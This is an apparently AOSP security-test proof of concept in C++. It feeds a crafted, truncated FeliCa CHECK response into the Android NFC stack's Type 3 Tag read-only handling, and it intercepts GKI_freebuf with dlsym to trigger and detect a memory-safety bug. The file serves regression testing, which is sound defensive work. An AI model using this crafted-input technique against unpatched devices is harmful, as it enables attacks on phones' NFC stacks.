1 /*
2 * Copyright (C) 2021 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #include <nfc_int.h>
18 #include <rw_int.h>
19 #include <dlfcn.h>
20
21 #include "../includes/common.h"
22 #include "../includes/memutils.h"
23
24 #define T3T_MSG_FELICALITE_MC_OFFSET 0x01
25
26 char enable_selective_overload = ENABLE_NONE;
27
28 extern tRW_CB rw_cb;
29 extern tNFC_CB nfc_cb;
30 void rw_init(void);
31 tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
32 uint8_t mrti_check, uint8_t mrti_update);
33
34 static void (*real_GKI_freebuf)(void* ptr) = nullptr;
35 void *kAllocatedPointers[2];
36 int allocatedPointersIndex = -1;
37 bool kIsInitialized = false;
38
init(void)39 void init(void) {
40 real_GKI_freebuf = (void (*)(void*))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
41 if (!real_GKI_freebuf) {
42 return;
43 }
44
45 kIsInitialized = true;
46 }
47
GKI_freebuf(void * ptr)48 void GKI_freebuf(void* ptr) {
49 if (!kIsInitialized) {
50 init();
51 }
52 if (ptr == kAllocatedPointers[0] || ptr == kAllocatedPointers[1]) {
53 return;
54 } else {
55 real_GKI_freebuf(ptr);
56 }
57 }
58
allocate_memory(size_t size)59 void *allocate_memory(size_t size) {
60 void *ptr = malloc(size);
61 memset(ptr, 0x0, size);
62 kAllocatedPointers[++allocatedPointersIndex] = ptr;
63 return ptr;
64 }
65
66 // borrowed from rw_i93.cc
67 enum {
68 RW_T3T_CMD_DETECT_NDEF,
69 RW_T3T_CMD_CHECK_NDEF,
70 RW_T3T_CMD_UPDATE_NDEF,
71 RW_T3T_CMD_CHECK,
72 RW_T3T_CMD_UPDATE,
73 RW_T3T_CMD_SEND_RAW_FRAME,
74 RW_T3T_CMD_GET_SYSTEM_CODES,
75 RW_T3T_CMD_FORMAT,
76 RW_T3T_CMD_SET_READ_ONLY_SOFT,
77 RW_T3T_CMD_SET_READ_ONLY_HARD,
78
79 RW_T3T_CMD_MAX
80 };
81
82 // borrowed from rw_i93.cc
83 enum {
84 RW_T3T_STATE_NOT_ACTIVATED,
85 RW_T3T_STATE_IDLE,
86 RW_T3T_STATE_COMMAND_PENDING
87 };
88
89 // borrowed from rw_i93.cc
90 enum {
91 /* Sub states for formatting Felica-Lite */
92 RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
93 formatting) */
94 RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
95 block-read to complete */
96 RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
97 block-write to complete */
98 RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
99 to complete */
100
101 /* Sub states for setting Felica-Lite read only */
102 RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
103 setting read only) */
104 RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
105 to complete */
106 RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
107 block-read to complete */
108 RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl)
109 block-write to complete */
110 };
111
cback(uint8_t c,tRW_DATA * d)112 void cback(uint8_t c __attribute__((unused)),
113 tRW_DATA* d __attribute__((unused))) {
114 }
115
main()116 int main() {
117
118 enable_selective_overload = ENABLE_ALL;
119 tRW_T3T_CB* p_t3t = &rw_cb.tcb.t3t;
120
121 GKI_init();
122 rw_init();
123
124 uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
125 uint8_t mrti_check = 1, mrti_update = 1;
126 if (rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) != NFC_STATUS_OK) {
127 return EXIT_FAILURE;
128 }
129
130 tNFC_CONN *p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
131 if (!p_data) {
132 return EXIT_FAILURE;
133 }
134 p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4);
135 if (!(p_data->data.p_data)) {
136 free(p_data);
137 return EXIT_FAILURE;
138 }
139 p_data->status = NFC_STATUS_OK;
140
141 p_t3t->cur_cmd = RW_T3T_CMD_SET_READ_ONLY_HARD;
142 p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
143 p_t3t->rw_substate = RW_T3T_SRO_SST_CHECK_MC_BLK;
144
145 NFC_HDR* p_msg = (p_data->data).p_data;
146 p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN;
147
148 uint8_t* p_t3t_rsp = (uint8_t*) (p_msg + 1) + (p_msg->offset + 1);
149 p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
150 p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
151
152 uint8_t* p_mc = &p_t3t_rsp[T3T_MSG_RSP_OFFSET_CHECK_DATA];
153 p_mc[T3T_MSG_FELICALITE_MC_OFFSET_SYS_OP] = T3T_MSG_FELICALITE_MC_OFFSET;
154
155 tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
156 tNFC_CONN_EVT event = NFC_DATA_CEVT;
157 TIMER_LIST_ENT pFirst = { };
158 nfc_cb.quick_timer_queue.p_first = &pFirst;
159
160 rw_cb.p_cback = &cback;
161 p_cb->p_cback(0, event, p_data);
162
163 free(p_data->data.p_data);
164 free(p_data);
165
166 enable_selective_overload = ENABLE_NONE;
167 return EXIT_SUCCESS;
168 }
169